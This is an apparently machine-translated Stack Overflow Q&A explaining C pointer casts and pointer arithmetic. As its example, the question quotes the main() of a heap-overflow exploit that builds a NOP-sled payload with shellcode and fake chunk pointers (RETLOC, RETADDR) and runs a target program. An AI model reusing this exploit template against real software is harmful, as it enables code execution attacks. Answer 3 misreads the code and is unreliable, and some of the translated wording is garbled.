指向铸造指针的指针?

时间:2009-12-16 02:42:19

标签: c pointers

我在C中遇到过指向指针(不确定这是正确的术语)的指针,例如:

*(长*)p = 10;我永远不会为我的生活理解它的含义,或者另一个例子:

*(void *)NULL,或*(char *)0;我只是无法绕过它,有人可以向我解释这一点,并拯救我免受部分脑损伤吗? :)

由于

(P.S下面显示了这种用法的一个例子)

  

int main(int argc,char * argv []){           char * p,* payload =(char *)malloc(1052);

    p = payload;
    memset(p, '\x90', 1052);

    /* Jump 12 ahead over the trashed word from unlink() */
    memcpy(p, "\xeb\x0c", 2);

    /* We put the shellcode safely away from the possibly corrupted area */
    p += 1020 - 64 - sizeof(shellcode);
    memcpy(p, shellcode, sizeof(shellcode) - 1);

    /* Set up the prev_size and overflow size fields */
    p += sizeof(shellcode) + 64 - 4;
    *(long *) p = -4;
    p += 4;
    *(long *) p = -16;

    /* Set up the fwd and bck of the fake chunk */
    p += 8;
    *(long *) p = RETLOC - 12;
    p += 4;
    *(long *) p = RETADDR;

    p += 4;
    *(p) = '\0';

    execl("./wilderness", "./wilderness", payload, NULL); }

7 个答案:

答案 0 :(得分:3)

首先打破声明:

  long *q = (long*)p;
  *q = 10;
  p += 4;

p参数的类型为char*,您只能通过该指针一次读取或写入1个字节。转换为long*会创建一个指针,您可以通过该指针一次从/向同一地址读取或写入4个字节。赋值写入字节0x00,0x00,0x00,0x0A。同样的事情:

  *p = 10;
  p++;
  *p = 0;
  p++;
  *p = 0;
  p++;
  *p = 0;

取决于字节顺序。在赋值之后,p需要增加4,因为写了4个字节。

这个技巧在包含非字节数据的字节缓冲区中很常见。

答案 1 :(得分:2)

*(long *) p = -4;

意思是:p是“指向long的指针”,我试图将值赋给那里引用的内存。我们这样做是因为最初我们说p是一个char指针,我们想在访问时改变它的行为。

答案 2 :(得分:1)

在(long *)之前放置*称为“解除引用”指针。正如@GrayWizardx所说,这意味着你正在修改指针所指向的内存中的值。

答案 3 :(得分:1)

codepad.org/iz2TSDfa

此代码将四个字节的数据写入内存中的零地址。这不是常见或接受的做法,并不适用于一般情况。换句话说:黑魔法。

我猜它会触发某种处理器中断。

如果您想了解它,我建议您学习汇编/此代码所针对的计算机体系结构。

答案 4 :(得分:0)

第一颗星实际上取消引用了铸造指针。因此,*(long *)p = 10表示将p转换为指向long的指针并将-4指定给解除引用的位置。将您的示例与* p = 10进行比较。

答案 5 :(得分:0)

它的指针算法,基于指针类型,即它的char * cPtr或int * nPtr,当你递增cPtr ++时将移动一个字节而nPtr ++将移动4个字节(assumimg char占用一个字节,int占用4个字节)

答案 6 :(得分:0)

当您理解示例代码背后的动机时,您可能会更轻松。

代码正在处理4字节值,这就是p被强制转换为long *的原因。构造* (long *) p = -4;允许您使用单个赋值将4个字节设置为0xFFFFFFFC。如果您将p作为char *离开,则需要进行四次单独的分配,并且还需要担心平台的endianness

那么为什么不首先简单地将p声明为long *?因为代码使用指针算法来计算目标地址:p += sizeof(shellcode) + 64 - 4;使用char *指针算法很容易,因为向指针添加1将使其前进到下一个字节,就像您期望的那样。指向其他数据类型的指针不是这样!如果p被声明为long *p;,那么p += 4会将 4 * sizeof(long) 添加到p

为什么呢?因为这样可以轻松遍历long变量列表:

long sum_of_longs(long vals[], int num)  { // 'vals[]' contains 'num' long ints.
   long *p;                                // This pointer traverses the array.
   long sum;                               // Running total.

   // Initialize 'p' to the first number in 'vals[]' and
   // increment through the array until 'num' reaches 0.
   //
   // Note that 'p' increases by 4 bytes each time in order
   // to advance to the next long.
   for (sum=0, p=vals;  num > 0;  p++, num--)
      sum += *p;

   return sum;
}

因此,在您的示例中,将p定义为char *可以很容易地按字节数进行指针运算,并将其转换为long *使分配更容易。